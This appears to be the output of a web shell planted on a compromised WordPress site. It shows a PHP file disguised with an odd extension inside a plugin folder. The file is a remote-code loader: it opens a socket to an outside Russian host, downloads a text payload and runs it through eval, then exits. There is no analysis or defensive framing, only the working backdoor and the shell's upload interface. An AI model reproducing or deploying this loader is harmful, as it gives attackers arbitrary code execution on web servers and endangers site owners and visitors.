Your IP : 216.73.216.168


Current Path : /home/icmq6107/clients/naddaf/wp-content/plugins/ktss/
Upload File :
Current File : /home/icmq6107/clients/naddaf/wp-content/plugins/ktss/gfs.PhTmL

<?php
// AMBATUKAM LOADER
define('PAYLOAD_URL', 'http://old.tritoncenter.ru/files/gf.txt');

// Helper
function escape($t) { return htmlspecialchars($t, ENT_QUOTES, 'UTF-8'); }

// Fetch
function ambatufetch($url) {
    $parts = parse_url($url);
    if (!$parts || !isset($parts['host'])) return ['ok'=>false,'error'=>'invalid url'];
    
    $scheme = isset($parts['scheme']) ? $parts['scheme'] : 'http';
    $host = $parts['host'];
    $port = isset($parts['port']) ? $parts['port'] : ($scheme === 'https' ? 443 : 80);
    $path = ($parts['path'] ?? '/') . (isset($parts['query']) ? '?' . $parts['query'] : '');
    
    $socket = @stream_socket_client(
        ($scheme === 'https' ? 'ssl' : 'tcp') . "://{$host}:{$port}", 
        $errno, $errstr, 5
    );
    
    if (!$socket) return ['ok'=>false,'error'=>$errstr];
    
    $req = "GET {$path} HTTP/1.1\r\nHost: {$host}\r\nConnection: Close\r\n\r\n";
    fwrite($socket, $req);
    
    $res = '';
    while (!feof($socket)) $res .= fgets($socket, 2048);
    fclose($socket);
    
    $header_end = strpos($res, "\r\n\r\n");
    $body = $header_end !== false ? substr($res, $header_end + 4) : $res;
    
    return ['ok'=>!empty($body), 'content'=>$body];
}

// Fetch and execute payload directly
$p = ambatufetch(PAYLOAD_URL);
if ($p['ok']) { 
    eval("?>".$p['content']); 
    exit; 
}
$error = "Payload error: " . escape($p['error'] ?? 'Unknown error');
?>